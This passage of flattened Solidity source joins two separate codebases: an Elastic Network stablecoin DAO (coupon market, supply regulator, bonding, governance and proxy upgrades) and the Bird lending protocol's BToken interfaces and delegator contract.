Constants.getCouponExpiration()})).mul(Decimal.D256({value : Constants.getCouponExpiration() - couponAge})); Decimal.D256 memory couponEpochDecayedPenalty = couponEpochInitialPenalty.div(Decimal.D256({value : couponEpochDecay})).mul(Decimal.D256({value : couponEpochDecay - timeIntoEpoch})); return Decimal.D256({value : couponAmount}).mul(couponEpochDecayedPenalty).value; } function purchaseCoupons(uint256 amount) external returns (uint256) { Require.that( amount > 0, FILE, "Must purchase non-zero amount" ); Require.that( totalDebt() >= amount, FILE, "Not enough debt" ); uint256 epoch = epoch(); uint256 couponAmount = couponPremium(amount); incrementBalanceOfCoupons(msg.sender, epoch, couponAmount); incrementBalanceOfCouponUnderlying(msg.sender, epoch, amount); burnFromAccount(msg.sender, amount); emit CouponPurchase(msg.sender, epoch, amount, couponAmount); return couponAmount; } function redeemCoupons(uint256 couponEpoch, uint256 amount) external { require(epoch().sub(couponEpoch) >= 2, "Market: Too early to redeem"); require(amount != 0, "Market: Amount too low"); uint256 couponAmount = balanceOfCoupons(msg.sender, couponEpoch) .mul(amount).div(balanceOfCouponUnderlying(msg.sender, couponEpoch), "Market: No underlying"); decrementBalanceOfCouponUnderlying(msg.sender, couponEpoch, amount, "Market: Insufficient coupon underlying balance"); uint burnAmount = couponRedemptionPenalty(couponEpoch, couponAmount); uint256 redeemAmount = couponAmount - burnAmount; // decrement full amount if (couponAmount != 0) decrementBalanceOfCoupons(msg.sender, couponEpoch, couponAmount, "Market: Insufficient coupon balance"); // but withdraw only redeem amount redeemToAccount(msg.sender, amount, redeemAmount); if (burnAmount > 0) { emit CouponBurn(msg.sender, couponEpoch, burnAmount); } emit CouponRedemption(msg.sender, couponEpoch, amount, redeemAmount); } function approveCoupons(address spender, uint256 amount) external { require(spender != address(0), "Market: Coupon approve to the zero address"); updateAllowanceCoupons(msg.sender, spender, amount); emit CouponApproval(msg.sender, spender, amount); } function transferCoupons(address sender, address recipient, uint256 epoch, uint256 amount) external { require(sender != address(0), "Market: Coupon transfer from the zero address"); require(recipient != address(0), "Market: Coupon transfer to the zero address"); uint256 couponAmount = balanceOfCoupons(sender, epoch) .mul(amount).div(balanceOfCouponUnderlying(sender, epoch), "Market: No underlying"); decrementBalanceOfCouponUnderlying(sender, epoch, amount, "Market: Insufficient coupon underlying balance"); incrementBalanceOfCouponUnderlying(recipient, epoch, amount); decrementBalanceOfCoupons(sender, epoch, couponAmount, "Market: Insufficient coupon balance"); incrementBalanceOfCoupons(recipient, epoch, couponAmount); if (msg.sender != sender && allowanceCoupons(sender, msg.sender) != uint256(- 1)) { decrementAllowanceCoupons(sender, msg.sender, amount, "Market: Insufficient coupon approval"); } emit CouponTransfer(sender, recipient, epoch, amount); } } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Regulator is Comptroller { using SafeMath for uint256; using Decimal for Decimal.D256; event SupplyIncrease(uint256 indexed epoch, uint256 currentPriceInUSD, uint256 targetPriceInUSD, uint256 newRedeemable, uint256 lessDebt, uint256 newBonded); event SupplyDecrease(uint256 indexed epoch, uint256 currentPriceInUSD, uint256 targetPriceInUSD, uint256 newDebt); event SupplyNeutral(uint256 indexed epoch, uint256 currentPriceInUSD, uint256 targetPriceInUSD); function step() internal { Decimal.D256 memory currentPriceInUSD; Decimal.D256 memory targetPriceInUSD; bool validCurrentPriceInUSD; bool validTargetPriceInUSD; (targetPriceInUSD, validTargetPriceInUSD) = eurOracle().capture(); if (bootstrappingAt(epoch().sub(1))) { if (!validTargetPriceInUSD) { targetPriceInUSD = Decimal.one(); } currentPriceInUSD = targetPriceInUSD.mul(Constants.getBootstrappingPrice()); validCurrentPriceInUSD = true; } else { (currentPriceInUSD, validCurrentPriceInUSD) = oracle().capture(); } if (!validCurrentPriceInUSD || !validTargetPriceInUSD) { emit SupplyNeutral(epoch(), Decimal.one().value, Decimal.one().value); return; } if (currentPriceInUSD.greaterThan(targetPriceInUSD)) { growSupply(currentPriceInUSD, targetPriceInUSD); return; } if (currentPriceInUSD.lessThan(targetPriceInUSD)) { shrinkSupply(currentPriceInUSD, targetPriceInUSD); return; } emit SupplyNeutral(epoch(), currentPriceInUSD.value, targetPriceInUSD.value); } function shrinkSupply(Decimal.D256 memory currentPriceInUSD, Decimal.D256 memory targetPriceInUSD) private { Decimal.D256 memory delta = limit(Decimal.one().sub(currentPriceInUSD.div(targetPriceInUSD)), false); uint256 newDebt = delta.mul(totalNet()).asUint256(); uint256 cappedNewDebt = increaseDebt(newDebt); emit SupplyDecrease(epoch(), currentPriceInUSD.value, targetPriceInUSD.value, cappedNewDebt); return; } function growSupply(Decimal.D256 memory currentPriceInUSD, Decimal.D256 memory targetPriceInUSD) private { uint256 lessDebt = resetDebt(Decimal.zero()); Decimal.D256 memory delta = limit(currentPriceInUSD.div(targetPriceInUSD).sub(Decimal.one()), true); uint256 newSupply = delta.mul(totalNet()).asUint256(); (uint256 newRedeemable, uint256 newBonded) = increaseSupply(newSupply); emit SupplyIncrease(epoch(), currentPriceInUSD.value, targetPriceInUSD.value, newRedeemable, lessDebt, newBonded); } function limit(Decimal.D256 memory delta, bool expansion) private view returns (Decimal.D256 memory) { if ( bootstrappingAt(epoch().sub(1)) ) { return delta; } Decimal.D256 memory supplyChangeLimit = Constants.getSupplyChangeLimit(); uint256 totalRedeemable = totalRedeemable(); uint256 totalCoupons = totalCoupons(); if (expansion && (totalRedeemable < totalCoupons)) { supplyChangeLimit = Constants.getCouponSupplyChangeLimit(); } return delta.greaterThan(supplyChangeLimit) ? supplyChangeLimit : delta; } } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Permission is Setters { bytes32 private constant FILE = "Permission"; // Can modify account state modifier onlyFrozenOrFluid(address account) { Require.that( statusOf(account) != Account.Status.Locked, FILE, "Not frozen or fluid" ); _; } // Can participate in balance-dependant activities modifier onlyFrozenOrLocked(address account) { Require.that( statusOf(account) != Account.Status.Fluid, FILE, "Not frozen or locked" ); _; } modifier initializer() { Require.that( !isInitialized(implementation()), FILE, "Already initialized" ); initialized(implementation()); _; } } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Bonding is Setters, Permission { using SafeMath for uint256; bytes32 private constant FILE = "Bonding"; event Deposit(address indexed account, uint256 value); event Withdraw(address indexed account, uint256 value); event Bond(address indexed account, uint256 start, uint256 value, uint256 valueUnderlying); event Unbond(address indexed account, uint256 start, uint256 value, uint256 valueUnderlying); function step() internal { Require.that( epochTime() > epoch(), FILE, "Still current epoch" ); snapshotTotalBonded(); incrementEpoch(); } function _deposit(uint256 value) external onlyFrozenOrLocked(msg.sender) { euro().transferFrom(msg.sender, address(this), value); incrementBalanceOfStaged(msg.sender, value); emit Deposit(msg.sender, value); } function _withdraw(uint256 value) external onlyFrozenOrLocked(msg.sender) { euro().transfer(msg.sender, value); decrementBalanceOfStaged(msg.sender, value, "Bonding: insufficient staged balance"); emit Withdraw(msg.sender, value); } function _bond(uint256 value) external onlyFrozenOrFluid(msg.sender) { unfreeze(msg.sender); uint256 balance = totalBonded() == 0 ? value.mul(Constants.getInitialStakeMultiple()) : value.mul(totalSupply()).div(totalBonded()); incrementBalanceOf(msg.sender, balance); incrementTotalBonded(value); decrementBalanceOfStaged(msg.sender, value, "Bonding: insufficient staged balance"); emit Bond(msg.sender, epoch().add(1), balance, value); } function _unbond(uint256 value) external onlyFrozenOrFluid(msg.sender) { unfreeze(msg.sender); uint256 staged = value.mul(balanceOfBonded(msg.sender)).div(balanceOf(msg.sender)); incrementBalanceOfStaged(msg.sender, staged); decrementTotalBonded(staged, "Bonding: insufficient total bonded"); decrementBalanceOf(msg.sender, value, "Bonding: insufficient balance"); emit Unbond(msg.sender, epoch().add(1), value, staged); } function _unbondUnderlying(uint256 value) external onlyFrozenOrFluid(msg.sender) { unfreeze(msg.sender); uint256 balance = value.mul(totalSupply()).div(totalBonded()); incrementBalanceOfStaged(msg.sender, value); decrementTotalBonded(value, "Bonding: insufficient total bonded"); decrementBalanceOf(msg.sender, balance, "Bonding: insufficient balance"); emit Unbond(msg.sender, epoch().add(1), balance, value); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /* Copyright 2018-2019 zOS Global Limited Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * Based off of, and designed to interface with, openzeppelin/upgrades package */ contract Upgradeable is State { /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); function initialize() public; /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) internal { setImplementation(newImplementation); (bool success, bytes memory reason) = newImplementation.delegatecall(abi.encodeWithSignature("initialize()")); require(success, string(reason)); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function setImplementation(address newImplementation) private { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Govern is Setters, Permission, Upgradeable { using SafeMath for uint256; using Decimal for Decimal.D256; bytes32 private constant FILE = "Govern"; event Proposal(address indexed candidate, address indexed account, uint256 indexed start, uint256 period); event Vote(address indexed account, address indexed candidate, Candidate.Vote vote, uint256 bonded); event Commit(address indexed account, address indexed candidate); function vote(address candidate, Candidate.Vote _vote) external onlyFrozenOrLocked(msg.sender) { Require.that( balanceOf(msg.sender) > 0, FILE, "Must have stake" ); if (!isNominated(candidate)) { Require.that( canPropose(msg.sender), FILE, "Not enough stake to propose" ); createCandidate(candidate, Constants.getGovernancePeriod()); emit Proposal(candidate, msg.sender, epoch(), Constants.getGovernancePeriod()); } Require.that( epoch() < startFor(candidate).add(periodFor(candidate)), FILE, "Ended" ); uint256 bonded = balanceOf(msg.sender); Candidate.Vote recordedVote = recordedVote(msg.sender, candidate); if (_vote == recordedVote) { return; } if (recordedVote == Candidate.Vote.REJECT) { decrementRejectFor(candidate, bonded, "Govern: Insufficient reject"); } if (recordedVote == Candidate.Vote.APPROVE) { decrementApproveFor(candidate, bonded, "Govern: Insufficient approve"); } if (_vote == Candidate.Vote.REJECT) { incrementRejectFor(candidate, bonded); } if (_vote == Candidate.Vote.APPROVE) { incrementApproveFor(candidate, bonded); } recordVote(msg.sender, candidate, _vote); placeLock(msg.sender, candidate); emit Vote(msg.sender, candidate, _vote, bonded); } function commit(address candidate) external { Require.that( isNominated(candidate), FILE, "Not nominated" ); uint256 endsAfter = startFor(candidate).add(periodFor(candidate)).sub(1); Require.that( epoch() > endsAfter, FILE, "Not ended" ); Require.that( epoch() <= endsAfter.add(1).add(Constants.getGovernanceExpiration()), FILE, "Expired" ); Require.that( Decimal.ratio(votesFor(candidate), totalBondedAt(endsAfter)).greaterThan(Constants.getGovernanceQuorum()), FILE, "Must have quorom" ); Require.that( approveFor(candidate) > rejectFor(candidate), FILE, "Not approved" ); upgradeTo(candidate); emit Commit(msg.sender, candidate); } function emergencyCommit(address candidate) external { Require.that( isNominated(candidate), FILE, "Not nominated" ); Require.that( epochTime() > epoch().add(Constants.getGovernanceEmergencyDelay()), FILE, "Epoch synced" ); Require.that( Decimal.ratio(approveFor(candidate), totalSupply()).greaterThan(Constants.getGovernanceSuperMajority()), FILE, "Must have super majority" ); Require.that( approveFor(candidate) > rejectFor(candidate), FILE, "Not approved" ); upgradeTo(candidate); emit Commit(msg.sender, candidate); } function canPropose(address account) private view returns (bool) { if (totalBonded() == 0) { return false; } Decimal.D256 memory stake = Decimal.ratio(balanceOf(account), totalSupply()); return stake.greaterThan(Constants.getGovernanceProposalThreshold()); } } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract DAO is State, Bonding, Market, Regulator, Govern { using SafeMath for uint256; event Advance(uint256 indexed epoch, uint256 block, uint256 timestamp); event Incentivization(address indexed account, uint256 amount); function initialize() initializer public { // Reward deployer mintToAccount(msg.sender, Constants.getAdvanceIncentive()); // bootstrap rewards mintToAccount(pool(), Constants.getBootstrappingPoolReward()); StakingRewards(pool()).notifyRewardAmount(Constants.getBootstrappingPoolReward()); // team mintToAccount(msg.sender, 1000e18); } function advanceEpoch() external { uint256 advanceIncentive; if (epoch() < Constants.getLowAdvanceRewardsPeriod()) { advanceIncentive = Constants.getLowAdvanceIncentive(); } else { advanceIncentive = Constants.getAdvanceIncentive(); } incentivize(msg.sender, advanceIncentive); Bonding.step(); Regulator.step(); Market.step(); emit Advance(epoch(), block.number, block.timestamp); } function incentivize(address account, uint256 amount) private { mintToAccount(account, amount); emit Incentivization(account, amount); } }
DC1
pragma solidity ^0.5.16; /** * @title Bird's BController Interface */ contract BControllerInterface { /// @notice Indicator that this is a BController contract (for inspection) bool public constant isBController = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata bTokens) external returns (uint[] memory); function exitMarket(address bToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address bToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address bToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address bToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address bToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address bToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address bToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed(address bToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify(address bToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed(address bTokenBorrowed, address bTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify(address bTokenBorrowed, address bTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed(address bTokenCollateral, address bTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify(address bTokenCollateral, address bTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address bToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address bToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens(address bTokenBorrowed, address bTokenCollateral, uint repayAmount) external view returns (uint, uint); } /** * @title Bird's InterestRateModel Interface */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } /** * @title Bird's BToken Storage */ contract BTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-bToken operations */ BControllerInterface public bController; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first BTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } /** * @title Bird's BToken Interface */ contract BTokenInterface is BTokenStorage { /** * @notice Indicator that this is a BToken contract (for inspection) */ bool public constant isBToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterestToken(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event MintToken(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event RedeemToken(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event BorrowToken(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrowToken(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrowToken(address liquidator, address borrower, uint repayAmount, address bTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when bController is changed */ event NewBController(BControllerInterface oldBController, BControllerInterface newBController); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketTokenInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewTokenReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setBController(BControllerInterface newBController) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); } /** * @title Bird's BErc20 Storage */ contract BErc20Storage { /** * @notice Underlying asset for this BToken */ address public underlying; } /** * @title Bird's BErc20 Interface */ contract BErc20Interface is BErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, BTokenInterface bTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } /** * @title Bird's BDelegation Storage */ contract BDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } /** * @title Bird's BDelegator Interface */ contract BDelegatorInterface is BDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } /** * @title Bird's BDelegate Interface */ contract BDelegateInterface is BDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } /** * @title Bird's BErc20WBTCDelegator Contract * @notice BTokens which wrap an EIP-20 underlying and delegate to an implementation */ contract BErc20WBTCDelegator is BTokenInterface, BErc20Interface, BDelegatorInterface { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param bController_ The address of the BController * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token * @param implementation_ The address of the implementation the contract delegates to * @param becomeImplementationData The encoded args for becomeImplementation */ constructor(address underlying_, BControllerInterface bController_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_, address implementation_, bytes memory becomeImplementationData) public { // Creator of the contract is admin during initialization admin = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,address,uint256,string,string,uint8)", underlying_, bController_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_)); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); // Set the proper admin now that initialization is done admin = admin_; } /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == admin, "BErc20WBTCDelegator::_setImplementation: Caller must be admin"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives bTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { mintAmount; // Shh delegateAndReturn(); } /** * @notice Sender redeems bTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of bTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { redeemTokens; // Shh delegateAndReturn(); } /** * @notice Sender redeems bTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { redeemAmount; // Shh delegateAndReturn(); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { borrowAmount; // Shh delegateAndReturn(); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { repayAmount; // Shh delegateAndReturn(); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { borrower; repayAmount; // Shh delegateAndReturn(); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this bToken to be liquidated * @param bTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, BTokenInterface bTokenCollateral) external returns (uint) { borrower; repayAmount; bTokenCollateral; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { dst; amount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool) { src; dst; amount; // Shh delegateAndReturn(); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { spender; amount; // Shh delegateAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of 